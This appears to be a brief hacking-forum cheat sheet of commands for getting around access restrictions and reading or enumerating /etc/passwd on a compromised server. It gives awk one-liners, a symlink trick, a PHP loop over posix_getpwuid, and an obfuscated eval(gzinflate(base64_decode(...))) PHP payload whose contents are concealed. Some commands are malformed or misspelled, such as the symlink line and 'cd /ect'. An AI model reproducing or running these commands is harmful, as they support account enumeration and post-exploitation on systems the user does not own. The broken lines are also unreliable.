Bypass forbidden For Get Passwd
you Can Use This Commands
COMMAND:
awk -F: '{ print $1 }' /etc*/passwd
COMMAND:
awk -F: '{ print $1 }' /etc*/passwd | sort
COMMAND:
awk -F: '{ print }' /etc*/passwd
COMMAND:
awk -F: '{ print $1 " "$2 " " $3" "$4" "$5 " "$6" "$7" "}' /etc/passwd | sort
Code:
ln -s /etc/ password 2.txt cat 2.txt
PHP:
eval(gzinflate(base64_decode('NYzbCoJAEIavd2HfYRIvPERKF0FY0BP0AhVhNrmDpqJrJuG7N2oNzOmfb/7A85QEDw5xa3RZw+l4Sdseuc1yUlZ9Tak2sA7D7agFSippE+whjJTsNOUIDu872IQcLnyUFHZOBTJSlQ29rymaqmvpzpjLP4Ie4CzwWZnemUB3fhI/s5waw5YZ9kuwX7nLPhgn+s9OqMBEl+N1ZZ0LK5qkW41xNo0DF04QNvk+K8MX')));
Code:
cd /ect;cat passwd
PHP:
for($uid=0;$uid<60000;$uid++){$ara = @posix_getpwuid($uid);
if (!empty($ara)) {
while (list ($key, $val) = each($ara)){
print "$val:";
}
print "\n";
}
}